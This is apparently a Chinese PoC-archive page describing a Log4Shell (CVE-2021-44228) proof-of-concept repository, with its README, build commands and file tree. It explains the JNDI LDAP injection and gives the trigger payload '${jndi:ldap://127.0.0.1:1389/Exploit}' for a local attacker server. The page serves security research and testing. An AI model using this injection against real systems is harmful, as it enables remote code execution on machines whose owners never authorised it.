POC详情: b64b22c6293d77eb7695f192e16413e21075f6ee

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
A Remote Code Execution PoC for Log4Shell (CVE-2021-44228)
介绍
# CVE-2021-44228 Remote Command Execution PoC

This repository allows security researchers to experiment with remote code 
execution by offering an implementation of an attack server that loads a custom
exploit on a vulnerable application that contains log4j.

> :warning: **The tool is intended for self-assessment and should be used by authorized persons or researchers only.** You should only test systems on which you have explicit permission or authority. If you find vulnerable applications or libraries, you should exercise [responsible disclosure](https://www.cisa.gov/coordinated-vulnerability-disclosure-process).

## RCE steps

CVE-2021-44228 works by injecting a JNDI LDAP string into your logs, which triggers Log4j to 
to contact the specified LDAP server looking for additional information. 
In a malicious scenario, the LDAP server can then serve code back to the victim 
machine which will be automatically executed in-memory.

The repo containts two sub-projects. The attacker-server project contains the 
source code of two threaded servers. The first one is an LDAP proxy that receives 
the initial request for an LDAP object. The second server is the payload server that serves 
the Exploit (existing in Exploit.java) back to the vulnerable application

## Building

In the root of the project:

```sh
mvn clean install
```
Both the server and the vulnerable app should be ready. 

## Execute the PoC
In order to load the server execute:

```sh
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
```

In order to trigger the RCE execute

```sh
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
```
You can change the malicious payload on demand by extending Exploit.java

文件快照

[4.0K] /data/pocs/b64b22c6293d77eb7695f192e16413e21075f6ee ├── [4.0K] attacker-server │   ├── [2.1K] pom.xml │   └── [4.0K] src │   └── [4.0K] main │   └── [4.0K] java │   ├── [4.0K] eu │   │   └── [4.0K] ubitech │   │   ├── [1.6K] CommandServer.java │   │   ├── [4.0K] jndiproxy │   │   │   └── [4.7K] LDAPProxyServer.java │   │   └── [4.0K] payloadserver │   │   └── [2.8K] PayloadServer.java │   └── [1.9K] Exploit.java ├── [ 627] pom.xml ├── [1.8K] README.md └── [4.0K] vulnapp ├── [2.5K] pom.xml └── [4.0K] src └── [4.0K] main └── [4.0K] java └── [4.0K] eu └── [4.0K] ubitech └── [4.0K] vulnapp └── [ 439] VulnApp.java 15 directories, 9 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。